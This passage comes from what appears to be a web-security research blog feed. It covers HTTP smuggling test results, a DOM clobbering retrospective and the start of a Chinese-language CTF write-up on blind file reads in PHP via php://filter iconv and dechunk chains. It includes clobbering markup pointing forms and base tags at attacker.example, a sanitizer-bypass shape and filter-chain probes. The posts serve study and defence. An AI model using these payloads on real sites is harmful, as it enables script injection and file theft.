      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>HAProxy 2.9</td>
      <td>Gunicorn 22.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>HAProxy 2.9</td>
      <td>Waitress 3.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>HAProxy 2.9</td>
      <td>Node 22</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Envoy 1.32</td>
      <td>Gunicorn 22.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td><strong>\x0b prefix</strong></td>
      <td>inert</td>
      <td>tested separately</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Envoy 1.32</td>
      <td>Waitress 3.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>tested</td>
      <td>inert</td>
      <td>tested separately</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Envoy 1.32</td>
      <td>Node 22</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>tested</td>
      <td>inert</td>
      <td>tested separately</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Caddy 2.8</td>
      <td>Gunicorn 22.0</td>
      <td>passes-through (no diff)</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td><strong>drops second TE</strong></td>
    </tr>
    <tr>
      <td>Caddy 2.8</td>
      <td>Waitress 3.0</td>
      <td>passes-through (no diff)</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>tested</td>
    </tr>
    <tr>
      <td>Caddy 2.8</td>
      <td>Node 22</td>
      <td>passes-through (no diff)</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a</td>
      <td>tested</td>
    </tr>
    <tr>
      <td>Cloudflare edge</td>
      <td>(any)</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td>not exploitable in tested config</td>
      <td>rejected at edge</td>
    </tr>
    <tr>
      <td>Fastly edge</td>
      <td>(any)</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td>rejected at edge</td>
      <td><strong><code class="language-plaintext highlighter-rouge">:method</code> CRLF</strong>, pending fix</td>
      <td>rejected at edge</td>
    </tr>
  </tbody>
</table>

<p>Bold entries are the primitives that produced a parsing differential or an exploitable smuggling case in this test pass. Plain entries mean the variant did not trigger desync on that pair.</p>

<h3 id="what-i-take-from-this-seven-years-on">What I take from this seven years on</h3>

<p>The work to close direct CL.TE and TE.CL has been done well. Mainstream proxies in 2026 reject malformed length signals at the edge, and the practical attack surface for direct dual-length smuggling has collapsed to a small set of edge cases. Reading the proxy release notes is instructive. Most of the hardening shipped in 2020-2022, in a wave that tracks the visibility of Kettle’s Black Hat 2019 and 2021 talks.</p>

<p>The work to close TE.TE obfuscation is harder, because every byte-level disagreement between strict and permissive parsers is, in principle, a fresh primitive. The Envoy + Gunicorn finding here uses one such disagreement. I do not expect that class of primitive to close entirely, because the trade-off between strictness and interoperability is real and not solvable by spec changes alone.</p>

<p>The HTTP/2 → HTTP/1.1 downgrade surface is where I would spend research time in 2026. Every modern CDN sits on it. The number of pseudo-header / body-framing interactions is large. The spec-level guidance (<a href="https://www.rfc-editor.org/rfc/rfc9113#section-8.1.2">RFC 9113 §8.1.2</a>) is direct about rejecting malformed pseudo-headers, but the down-translation paths inside production edges are complex enough that regressions land.</p>

<p>A practitioner reading this in 2026 should not conclude that smuggling is solved. They should conclude that the easy primitives are mostly closed, that the remaining primitives are configuration-dependent and concentrated at the HTTP/2 → HTTP/1.1 boundary, and that periodic re-testing against the actual edge versions in front of their applications is the correct posture. Reading <a href="https://www.rfc-editor.org/rfc/rfc9112">RFC 9112</a> and <a href="https://www.rfc-editor.org/rfc/rfc9113">RFC 9113</a> once, then re-running probe payloads against the specific proxies in front of you, is the work.</p>

<h3 id="what-i-will-publish-next">What I will publish next</h3>

<p>A follow-up post will focus on the HTTP/2 → HTTP/1.1 downgrade surface specifically, with a parsing-differential study across twelve cloud load balancers. That work is in progress and waiting on responsible-disclosure timelines for two of the findings.</p>

<h3 id="references">References</h3>

<ul>
  <li>ZeddYu, <a href="/2019/12/05/HTTP-Smuggling/">HTTP Request Smuggling 研究笔记</a> (CN, 2019) and <a href="/2019/12/08/HTTP-Smuggling-en/">HTTP Request Smuggling - A Complete Guide</a> (EN, 2019). The two posts this one builds on.</li>
  <li>James Kettle, <a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync Attacks: Request Smuggling Reborn</a> (PortSwigger Research, 2019). The Black Hat USA 2019 reference.</li>
  <li>James Kettle, <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a> (PortSwigger Research, 2021). The HTTP/2-era follow-up that introduces the downgrade-desync surface.</li>
  <li>James Kettle, <a href="https://portswigger.net/research/browser-powered-desync-attacks">Browser-Powered Desync Attacks</a> (PortSwigger Research, 2022). Client-side participation in the same attack surface.</li>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9112">RFC 9112: HTTP/1.1</a> and <a href="https://www.rfc-editor.org/rfc/rfc9113">RFC 9113: HTTP/2</a>. The 2022 spec replacements for RFC 7230 and RFC 7540.</li>
  <li>Amit Klein, “HTTP Request Smuggling” (Watchfire, 2005). The original 2005 research.</li>
  <li><a href="https://github.com/Pylons/waitress/issues/273">Pylons/waitress#273</a>. The 2019 issue I filed against Waitress; resolved.</li>
  <li>Snoopy Security, <a href="https://snoopysecurity.github.io/posts/28_Demystifying_HTTP_request_smuggling/">Demystifying HTTP Request Smuggling</a>. One of the better English-language demystification posts; cites the 2019 article on this site.</li>
  <li><a href="https://github.com/ZeddYu/HTTP-Smuggling-Lab">HTTP-Smuggling-Lab</a>. The lab I built in 2019, updated in 2026 with the new variants and the docker-compose definitions for the six-front-end test matrix used in this post.</li>
</ul>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="http-smuggling" /><category term="desync" /><category term="http2" /><category term="parsing-differentials" /><category term="web-security" /><summary type="html"><![CDATA[This post is a 2026 follow-up to two 2019 articles I wrote on this blog: the Chinese-language HTTP Request Smuggling 研究笔记 and its English counterpart HTTP Request Smuggling - A Complete Guide. Both posts described the CL.TE / TE.CL / TE.TE matrix as it existed after James Kettle’s HTTP Desync Attacks: Request Smuggling Reborn at Black Hat USA 2019, and recorded a Waitress finding I reported to the Pylons project at the time (Pylons/waitress#273).]]></summary></entry><entry><title type="html">DOM Clobbering Five Years On - New Sinks, New Bypasses, and Why Sanitizers Still Miss Them</title><link href="https://blog.zeddyu.info/2026/05/04/Dom-Clobbering-Five-Years-On/" rel="alternate" type="text/html" title="DOM Clobbering Five Years On - New Sinks, New Bypasses, and Why Sanitizers Still Miss Them" /><published>2026-05-04T00:00:00+00:00</published><updated>2026-05-04T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/05/04/Dom-Clobbering-Five-Years-On</id><content type="html" xml:base="https://blog.zeddyu.info/2026/05/04/Dom-Clobbering-Five-Years-On/"><![CDATA[<p>In March 2020 I published <a href="/2020/03/04/Dom-Clobbering/">DOM Clobbering - An Underestimated Attack Vector</a>, a brief introduction to clobbering as an HTML-injection-to-script-execution path. The framing held up better than I expected. The specific examples did not. Five years of sanitizer hardening, two browser-side mitigation primitives shipped to production, and a body of academic and offensive research I will not try to summarise in one paragraph have changed both what the attack looks like and what the defender’s actual options are.</p>

<p>This post is the 2026 follow-up. I revisit the original claims, identify which ones aged well and which did not, and walk through the new sinks and bypass classes the community has documented since 2020. As before, my goal is not a comprehensive survey. It is to give a practitioner a working mental model of where DOM Clobbering currently sits in 2026 and where the live attack surface is.</p>

<h2 id="what-aged-well-from-the-2020-post">What aged well from the 2020 post</h2>

<p>Three things from the 2020 post still hold:</p>

<ol>
  <li>
    <p><strong>The fundamental primitive is unchanged.</strong> When an HTML element with <code class="language-plaintext highlighter-rouge">id</code> or <code class="language-plaintext highlighter-rouge">name</code> is parsed into a document, the browser exposes it as a named property on <code class="language-plaintext highlighter-rouge">document</code> (and conditionally on <code class="language-plaintext highlighter-rouge">window</code>) per the <a href="https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object">HTML Living Standard’s named-access rules</a>. This has not been spec-revised since 2020, and proposals to deprecate the behaviour have not advanced. If you can inject HTML into a page that runs JavaScript, you have a clobbering surface.</p>
  </li>
  <li>
    <p><strong>The HTMLCollection chaining trick still works.</strong> A <code class="language-plaintext highlighter-rouge">&lt;form id="config"&gt;&lt;input name="apiUrl"&gt;</code> still resolves <code class="language-plaintext highlighter-rouge">document.config.apiUrl</code> to the input element, and the <code class="language-plaintext highlighter-rouge">value</code> attribute of that input is still attacker-controlled. Browsers have not introduced a separation between named-access on document and named-access via HTMLCollection. They are coupled at the spec level.</p>
  </li>
  <li>
    <p><strong>CSP is not a mitigation.</strong> A strict <code class="language-plaintext highlighter-rouge">script-src</code> policy that blocks inline scripts and <code class="language-plaintext highlighter-rouge">eval</code> does not block clobbering, because clobbering does not execute script. It changes the value of an existing variable that script then reads. The 2020 post called this out and the gap is still there in 2026, in some respects worse, because newer applications often treat strict CSP as the answer and skip other defences.</p>
  </li>
</ol>

<h2 id="what-has-aged-badly">What has aged badly</h2>

<p>Three things I wrote in 2020 are now misleading or incomplete:</p>

<ol>
  <li>
    <p><strong>“Modern versions of DOMPurify have addressed known clobbering vectors.”</strong> This was true in 2020 in a narrow sense and has remained true for the specific bypasses known then. What I did not anticipate was the steady cadence of new clobbering bypasses against DOMPurify in the years since. The <a href="https://github.com/cure53/DOMPurify/security/advisories">DOMPurify security advisories list</a> has been the most reliable place to track this. Several of the 2022-2025 advisories are clobbering-shaped: an attacker injects an element configuration that DOMPurify processes, but that breaks an assumption in DOMPurify’s own internal lookup chain. The library has hardened, but the underlying interaction between sanitizer code and the document namespace it operates on is genuinely difficult to make airtight.</p>
  </li>
  <li>
    <p><strong>The mitigation list I gave was incomplete.</strong> <code class="language-plaintext highlighter-rouge">Object.freeze</code>, <code class="language-plaintext highlighter-rouge">const</code> declarations, type checks, and <code class="language-plaintext highlighter-rouge">SANITIZE_DOM: true</code> are still recommended, but the 2020 list missed two things that became relevant after that date: Trusted Types (Chromium-shipped, widely adopted in Google production) and the proposed Sanitizer API. Both materially change the picture in 2026.</p>
  </li>
  <li>
    <p><strong>The attack-surface description was too narrow.</strong> I treated clobbering primarily as a <code class="language-plaintext highlighter-rouge">window.config</code> / <code class="language-plaintext highlighter-rouge">document.someLib</code> pollution surface. The community has since identified at least three additional sink classes that I did not cover: <code class="language-plaintext highlighter-rouge">document.currentScript</code> clobbering, custom-element-registry interactions, and form-action clobbering used as a redirect primitive. These are described below.</p>
  </li>
</ol>

<h2 id="three-sink-classes-worth-knowing-in-2026">Three sink classes worth knowing in 2026</h2>

<h3 id="sink-1-documentcurrentscript">Sink 1: document.currentScript</h3>

<p><code class="language-plaintext highlighter-rouge">document.currentScript</code> returns the <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> element that is currently executing. Several library loaders use this to discover their own URL, then derive paths to sibling resources. The pattern is something like:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">base</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">currentScript</span><span class="p">.</span><span class="nx">src</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">).</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">).</span><span class="nf">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">);</span>
<span class="nf">loadModule</span><span class="p">(</span><span class="nx">base</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/plugin.js</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p>If the page in which the script runs has been clobbered with <code class="language-plaintext highlighter-rouge">&lt;img name="currentScript"&gt;</code> before the loader script runs, <code class="language-plaintext highlighter-rouge">document.currentScript</code> resolves to the <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> element rather than the executing script. The <code class="language-plaintext highlighter-rouge">src</code> attribute on the image is attacker-controlled. The loader fetches a sibling path of the attacker’s URL and executes whatever the attacker hosts there.</p>

<p>The condition for this is that the named element must come before the loader script in document order, and the property has to be unset at the time the lookup happens. In practice the second condition is met more often than you would expect, because not all script types repopulate <code class="language-plaintext highlighter-rouge">currentScript</code> reliably across browsers. This sink was not in the 2020 post and it is one of the higher-impact ones in modern apps.</p>

<h3 id="sink-2-custom-element-registry-interactions">Sink 2: custom-element registry interactions</h3>

<p>The Custom Elements API exposes a registry on <code class="language-plaintext highlighter-rouge">window.customElements</code>. This registry itself is not directly clobberable, but the lookups around it sometimes are. A pattern I have seen in two real codebases:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">MyComponent</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">customElements</span><span class="p">.</span><span class="nf">define</span><span class="p">(</span><span class="dl">'</span><span class="s1">my-component</span><span class="dl">'</span><span class="p">,</span> <span class="nx">MyComponent</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The intent is to avoid double-registration. The check is on <code class="language-plaintext highlighter-rouge">window.MyComponent</code>, which the developer assumed referred to a class definition that may or may not have been imported. An attacker who can inject <code class="language-plaintext highlighter-rouge">&lt;a id="MyComponent"&gt;</code> makes the check pass, the <code class="language-plaintext highlighter-rouge">define</code> call is skipped, and the component is never registered. In an application that loads logic conditionally based on registered components, this becomes a denial-of-feature primitive at minimum, and in some applications a privilege-escalation primitive when the unregistered component would have applied a security boundary.</p>

<p>This is a narrower sink than the loader case but shows up in framework-style codebases that mix imperative custom-element registration with global-flag checks.</p>

<h3 id="sink-3-form-action-and-base-target-clobbering">Sink 3: form action and base-target clobbering</h3>

<p>This is older than the 2020 post but I did not cover it. Two forms here:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">&lt;form id="x" action="https://attacker.example/"&gt;</code> makes <code class="language-plaintext highlighter-rouge">document.x.action</code> a string the attacker controls. Code that reads <code class="language-plaintext highlighter-rouge">document.x.action</code> (some framework code does, particularly form-handling helpers) treats it as the attacker’s URL.</li>
  <li><code class="language-plaintext highlighter-rouge">&lt;base id="config" href="https://attacker.example/"&gt;</code> clobbers <code class="language-plaintext highlighter-rouge">document.config</code> with an element whose <code class="language-plaintext highlighter-rouge">href</code> is attacker-controlled, and crucially, <code class="language-plaintext highlighter-rouge">&lt;base&gt;</code> elements applied at parse time also affect resolution of all relative URLs on the page. This is a two-for-one: a clobbering primitive <em>and</em> a base-URL hijack against any subsequent relative URL.</li>
</ul>

<p>The base-tag variant is rarely sanitized because <code class="language-plaintext highlighter-rouge">&lt;base&gt;</code> is uncommon in user-generated content. Several sanitizers historically allowed it through default configurations.</p>

<h2 id="a-current-state-dompurify-bypass-walk-through">A current-state DOMPurify bypass walk-through</h2>

<p>To make this concrete, here is the shape of a 2024-era bypass against DOMPurify that the maintainers fixed in a subsequent release. I am presenting it as a structural example, not as a working PoC against the current version. If you want to test against the current release, build from <code class="language-plaintext highlighter-rouge">main</code> and read the changelog.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">id=</span><span class="s">"x"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">name=</span><span class="s">"attributes"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
</code></pre></div></div>

<p>The intent of the attacker:</p>

<ul>
  <li>Step 1: Inject the markup into the host page through a sanitization-allowed path.</li>
  <li>Step 2: DOMPurify, while processing some element, looks up <code class="language-plaintext highlighter-rouge">node.attributes</code> to iterate the attribute list of a node. In a clobbered document, <code class="language-plaintext highlighter-rouge">someElement.attributes</code> resolves to an HTMLCollection that contains the attacker’s <code class="language-plaintext highlighter-rouge">&lt;input&gt;</code> rather than the real attribute list.</li>
  <li>Step 3: The sanitizer iterates the wrong collection. Real dangerous attributes on the actual element are not seen by the sanitizer’s filter and are emitted in the output.</li>
</ul>

<p>This pattern (clobbering a property the sanitizer looks up on its own working node) recurs. DOMPurify maintainers have hardened the lookup paths several times. The architectural challenge is that the sanitizer is operating on the same document namespace it is trying to sanitize. Any attribute or property the sanitizer reads from a node is, in principle, clobberable. The defensive posture has been to enumerate the lookups, harden each one, and ship advisories for each new one found.</p>

<h2 id="trusted-types-and-the-sanitizer-api">Trusted Types and the Sanitizer API</h2>

<p>Two browser-side primitives have shipped or are shipping that change the picture.</p>

<p><strong>Trusted Types</strong> is a Chromium-implemented API (<a href="https://w3c.github.io/trusted-types/dist/spec/">spec</a>, <a href="https://chromestatus.com/feature/5629084632678400">chromestatus entry</a>, <a href="https://web.dev/articles/trusted-types">implementer guidance</a>) that lets a page declare that injection sinks like <code class="language-plaintext highlighter-rouge">innerHTML</code>, <code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">script.src</code>, and friends will only accept values produced by named “policies” in the page. A clobbering attack that depends on writing a string into one of these sinks is broken at the sink level by Trusted Types, even if the value reaches the sink via a clobbered path. This is not a clobbering-specific defence, it is a general HTML-injection defence that happens to also break the most useful end of clobbering chains. The downside is that Trusted Types requires application-level adoption (policy authoring, refactoring sink usage), is currently Chromium-only in any practical sense, and does not protect against clobbering-derived behaviour that does not flow through a TT-protected sink.</p>

<p><strong>Sanitizer API</strong> (<a href="https://wicg.github.io/sanitizer-api/">WICG draft</a>) is a proposed browser-native sanitizer. The most relevant property for our purposes is that, as a browser-built primitive, it operates outside the document being sanitized in a way that user-space sanitizers cannot. If the Sanitizer API ships in a form close to the current draft, the architectural problem that has produced clobbering-shaped DOMPurify bypasses for five years is materially reduced for callers who use it instead of DOMPurify. Adoption has been slow, and the spec is still in flux. I do not think it replaces DOMPurify for production use in 2026. I do think it will, eventually.</p>

<h2 id="detection-patterns-that-still-work">Detection patterns that still work</h2>

<p>The 2020 post listed four detection patterns. They still work and I would add three more:</p>

<ol>
  <li><strong>Lookups on <code class="language-plaintext highlighter-rouge">document.currentScript</code></strong> in any code path that derives a URL or path from it. Treat this as a clobbering surface unless the script tag is generated server-side with an integrity attribute.</li>
  <li><strong>Custom-element registration guarded by global lookups.</strong> <code class="language-plaintext highlighter-rouge">if (!window.X)</code> patterns where <code class="language-plaintext highlighter-rouge">X</code> is supposed to be a class definition are clobbering-shaped.</li>
  <li><strong>Property lookups inside HTML sanitizer code that operate on the live document.</strong> This is not detectable from the application side; it requires sanitizer-author discipline. As a defender, prefer sanitizers that have published their lookup-hardening commits and that maintain a security advisory feed.</li>
</ol>

<h2 id="mitigation-update">Mitigation update</h2>

<p>The 2020 list, with 2026 modifications:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Object.freeze</code> on configuration objects after initialization. Still good. Add: avoid initialising configuration via <code class="language-plaintext highlighter-rouge">if (!window.config)</code> patterns at all. Use module-scoped consts.</li>
  <li>Declare with <code class="language-plaintext highlighter-rouge">const</code> / <code class="language-plaintext highlighter-rouge">let</code> in module scope. Still good. ES module isolation does meaningfully reduce the clobbering surface for new code.</li>
  <li>Type-check before using DOM-accessed values. Still good. Add: use <code class="language-plaintext highlighter-rouge">instanceof HTMLElement</code> as the negative check, since the most common clobbering result is “you got an element you did not want”.</li>
  <li>DOMPurify with <code class="language-plaintext highlighter-rouge">SANITIZE_DOM: true</code>. Still default. Worth pairing with <code class="language-plaintext highlighter-rouge">SANITIZE_NAMED_PROPS: true</code>, which applies to a narrower clobbering surface but is cheap to enable.</li>
  <li>Strict CSP. Still does not stop clobbering. Useful for defence-in-depth.</li>
  <li><strong>New:</strong> Trusted Types if your runtime supports it. Even partial adoption (just the highest-risk sinks) materially reduces the exploitable end of a clobbering chain.</li>
  <li><strong>New:</strong> Where you have control over the sanitizer choice, prefer the browser Sanitizer API once it is stable in your target runtimes.</li>
</ul>

<h2 id="why-this-kept-being-interesting">Why this kept being interesting</h2>

<p>A reader who spent the last five years away from clobbering might assume the issue would have been spec’d away by now. It has not, and there are good reasons it has not. Removing named-property access on <code class="language-plaintext highlighter-rouge">document</code> would break a non-trivial slice of the existing web. The browsers have agreed informally that it is undesirable behaviour and have made specific cases harder, but a wholesale removal is not on any near-term roadmap I can find. As long as the primitive exists in the platform, sanitizers that operate inside the document namespace will keep producing clobbering-shaped advisories, and application code that mixes globals with HTML injection will keep producing clobbering-shaped bugs.</p>

<p>The thing I take from five years of this is that clobbering is a permanent property of the platform rather than a class of bugs we can close. The defender’s job is not to eliminate it, it is to know where it can land in the application, design lookups so it cannot reach a sensitive sink, and pick libraries whose maintainers treat new clobbering primitives as a security advisory rather than an idiosyncrasy of the document model.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="/2020/03/04/Dom-Clobbering/">DOM Clobbering - An Underestimated Attack Vector (zeddyu.info, 2020)</a> - the original post this is a follow-up to.</li>
  <li><a href="https://aszx87410.github.io/beyond-xss/en/ch3/dom-clobbering/">Beyond XSS: DOM Clobbering chapter</a> - Huli’s book has the most thorough modern walk-through I am aware of, including bypasses I do not cover here.</li>
  <li><a href="https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object">HTML Living Standard, named access on the Window object</a>.</li>
  <li><a href="https://github.com/cure53/DOMPurify">DOMPurify on GitHub</a> and <a href="https://github.com/cure53/DOMPurify/security/advisories">DOMPurify security advisories</a>.</li>
  <li><a href="https://w3c.github.io/trusted-types/dist/spec/">Trusted Types specification</a> and <a href="https://web.dev/articles/trusted-types">implementer guidance on web.dev</a>.</li>
  <li><a href="https://wicg.github.io/sanitizer-api/">Sanitizer API draft (WICG)</a>.</li>
  <li>Soheil Khodayari’s academic work on DOM Clobbering is useful background; his <a href="https://soheilkhodayari.github.io/">research page</a> collects the relevant papers.</li>
  <li>Gareth Heyes’s earlier “DOM Clobbering Strikes Back” research at PortSwigger Research is the work most of the 2020 community discussion built on. Search PortSwigger Research for the title.</li>
</ul>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="dom-clobbering" /><category term="xss" /><category term="web-security" /><category term="sanitizers" /><category term="trusted-types" /><summary type="html"><![CDATA[In March 2020 I published DOM Clobbering - An Underestimated Attack Vector, a brief introduction to clobbering as an HTML-injection-to-script-execution path. The framing held up better than I expected. The specific examples did not. Five years of sanitizer hardening, two browser-side mitigation primitives shipped to production, and a body of academic and offensive research I will not try to summarise in one paragraph have changed both what the attack looks like and what the defender’s actual options are.]]></summary></entry><entry><title type="html">The End of AFR</title><link href="https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR/" rel="alternate" type="text/html" title="The End of AFR" /><published>2022-09-27T00:00:00+00:00</published><updated>2022-09-27T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR</id><content type="html" xml:base="https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR/"><![CDATA[<p>本篇通过对 DownUnder CTF 2022 中一道题的讲解来介绍一种比较 trick 的通过侧信道读取文件内容的方法。</p>
<p>本篇通过对 DownUnder CTF 2022 中一道题的讲解来介绍一种比较 trick 的通过侧信道读取文件内容的方法。</p>
<div class="notice notice-tip"><div class="notice-title"><svg xmlns="http://www.w3.org/2000/svg" class="icon notice-icon" viewBox="0 0 512 512"><path d="M504 256A248 248 0 118 256a248 248 0 01496 0zM227 387l184-184c7-6 7-16 0-22l-22-23c-7-6-17-6-23 0L216 308l-70-70c-6-6-16-6-23 0l-22 23c-7 6-7 16 0 22l104 104c6 7 16 7 22 0z" /></svg></div><p>文章首发于跳跳堂：<a class="link" href="https://tttang.com/archive/1755/" target="_blank" rel="noopener">The End of AFR?</a></p></div>
<h2 id="tldr">TL;DR</h2>
<p>使用 UCS-4LE 等编码技巧让 PHP 产生内存错误导致服务器产生 500 错误，配合 dechunk 编码使得前面的错误正常化从而获得一个盲注的判断依据，使用该依据以及编码技巧逐个判断盲注出文件内容，进而可以造成任意文件内容读取。</p>
<p>标题中 AFR 指的是 Arbitrary File Read ，因为本文跟 <a class="link" href="https://tttang.com/archive/1395/" target="_blank" rel="noopener">hxp CTF 2021 - The End Of LFI?</a> 有很大的关系，所以使用了该标题。</p>
<h2 id="description">Description</h2>
<p>依旧先贴作者 repo 以示尊重：<a class="link" href="https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/minimal-php" target="_blank" rel="noopener">https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/minimal-php</a></p>
<p>以下测试如无特殊说明，则均在 Docker 环境中；本篇没有什么新的东西，只是对作者的细节进行复盘，如果能看得懂作者 exp 全部部分细节都在干什么，可以忽略本篇。</p>
<p>题目源代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="nx">file</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span></code></pre></div>
<p>题目 Docker :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-swift" data-lang="swift"><span class="line"><span class="cl"><span class="n">FROM</span> <span class="n">php</span><span class="p">:</span><span class="mf">8.1</span><span class="o">-</span><span class="n">apache</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">RUN</span> <span class="n">mv</span> <span class="s">&#34;$PHP_INI_DIR/php.ini-production&#34;</span> <span class="s">&#34;$PHP_INI_DIR/php.ini&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">COPY</span> <span class="n">index</span><span class="p">.</span><span class="n">php</span> <span class="o">/</span><span class="kd">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
</span></span><span class="line"><span class="cl"><span class="n">COPY</span> <span class="n">flag</span> <span class="o">/</span><span class="n">flag</span>
</span></span></code></pre></div>
<h2 id="solution">Solution</h2>
<p>乍一看题目，使用 PHP 8 ，并且使用了较为敏感的 file 函数，但是对于 PHP 8 我们可知 phar 反序列化已经没了，我们需要找到另一个方法，比如 PHP 默认一些有写文件操作的地方，但是话又说回来，这也并不是我们之前熟悉的 LFI 了，即使有写文件，利用 file 函数又能够做什么呢？</p>
<p>一开始以为是 PHP 8 对于文件操作新增了什么代码，但是 diff 7.4 之后发现压根也没啥改动…所以换思路到一些侧信道攻击上，但是众所周知，侧信道需要一个明确的足以判断的信道，即使 file 函数支持使用流操作，但是怎么样的流操作能让我们侧信道呢？</p>
<p>所以找到这个侧信道的关键点就成了解决本题的关键所在，也就是 if 语句中的那个条件，后续我们用 Oracle 来称呼这个关键点（因为大部分侧信道的信道或者关键点什么好像基本都用 oracle 这个称呼）。</p>
<h3 id="part-1---the-oracle">Part 1 - The Oracle</h3>
<p>因为使用了 production 的配置文件，所以对于一些报错等方式在这里就不太适用了，但是除了页面报错之外，我们还比较容易想到的就是服务端报错，显性的服务端报错即是服务器直接返回了 50x HTTP 状态码。</p>
<p>如何找到这个可以让服务端报错的 Oracle 呢？</p>
<p>在这里作者给出的解决方案是，使用 php filter 配合 convert.iconv.L1.UCS-4LE 编码，通过数次该编码规则可以将原字符串长度增长数倍，到一定程度会导致 PHP 产生内存错误：</p>
<p><figure><a href="https://s1.ax1x.com/2022/09/27/xZjxN4.png"><img src="https://s1.ax1x.com/2022/09/27/xZjxN4.png" loading="lazy" alt="image.png" /></a><figcaption>image.png</figcaption></figure></p>
<p>产生错误的方式有了，那么如何弄出不产生错误呢？</p>
<p>作者在 <a class="link" href="https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724" target="_blank" rel="noopener">php filter dechunk</a> 部分发现，其对于字符的处理存在一个范围限制，因为对于 chunk 编码来说，大部分都是以十六进制来表示长度的（这里很有可能原本就是用于解析类似 HTTP 中 chunked 编码规则的），所以十六进制的字符范围只在 a-fA-f0-9 这个范围内。并且根据源码可知，php 只对第一个字节进行了判断，所以对于第二个字节其实无关紧要。我们可以做个简单尝试：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/dechunk/resource=data:,a&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">php</span> <span class="o">&gt;</span> <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;php://filter/dechunk/resource=data:,g&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">string</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="s2">&#34;g&#34;</span>
